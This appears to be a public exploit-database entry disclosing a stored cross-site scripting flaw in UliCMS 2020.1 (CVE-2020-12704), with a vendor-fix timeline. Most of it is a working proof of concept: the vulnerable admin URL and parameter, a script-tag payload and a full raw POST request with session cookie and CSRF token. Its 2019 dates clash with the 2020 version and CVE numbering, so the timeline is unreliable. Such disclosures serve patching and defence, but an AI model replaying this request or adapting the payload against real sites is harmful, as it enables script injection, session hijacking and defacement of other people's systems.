49 lines
No EOL
2.1 KiB
Text
49 lines
No EOL
2.1 KiB
Text
# Exploit Title: UliCMS 2020.1 - Persistent Cross-Site Scripting
|
|
# Google Dork: N/A
|
|
# Date: 2019-03-24
|
|
# Exploit Author: SunCSR
|
|
# Vendor Homepage: https://en.ulicms.de
|
|
# Software Link: https://en.ulicms.de/current_versions.html
|
|
# Version: 2020.1
|
|
# Tested on: Windows
|
|
# CVE : CVE-2020-12704
|
|
|
|
### Vulnerability : Stored Cross-Site Scripting
|
|
|
|
# Description
|
|
A stored cross-site-scripting security issue in the save page feature
|
|
Url : http://TARGET/ulicms/admin/index.php?action=pages_edit&page=20
|
|
Request Type: POST
|
|
Vulnerable Parameter : "content"
|
|
Payload : content=<script>alert('XSS')</script>
|
|
|
|
#POC
|
|
POST /ulicms/admin/index.php HTTP/1.1
|
|
Host: TARGET
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
|
|
Accept: */*
|
|
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://TARGET/ulicms/admin/index.php?action=pages_edit&page=20
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Length: 866
|
|
Origin: http://TARGET
|
|
Connection: close
|
|
Cookie: 5e71dbd610916_SESSION=bt38jrlr7ajgc28t6db10mdgu7
|
|
|
|
csrf_token=f7249e4cc148ffc3383b6f6254dfc6cb&sClass=PageController&sMethod=edit&edit_page=edit_page&page_id=20
|
|
&slug=lorem_ipsum&title=Lorem+Ipsum&alternate_title=&show_headline=1&type=page&language=de&menu=top&position=15
|
|
&parent_id=NULL&active=1&target=_self&hidden=0&category_id=1&menu_image=&link_url=&link_to_language=
|
|
&meta_description=&meta_keywords=&robots=&article_author_name=&article_author_email=&article_date=&excerpt=&og_title=
|
|
&og_description=&og_image=&list_type=null&list_language=&list_category=0&list_menu=&list_parent=&list_order_by=title
|
|
&list_order_direction=asc&limit=0&list_use_pagination=0&module=null&video=&audio=&image_url=
|
|
&text_position=before&article_image=&author_id=1&group_id=1&comments_enabled=null&cache_control=auto&theme=
|
|
&access%5B%5D=all&custom_data=%7B%7D&content=<script>alert('XSS')</script>&csrf_token=f7249e4cc148ffc3383b6f6254dfc6cb
|
|
|
|
### History
|
|
=============
|
|
2019-03-18 Issue discovered
|
|
2019-04-18 Vendor contacted
|
|
2019-04-18 Vendor response and hotfix
|
|
2019-04-24 Vendor releases fixed versions |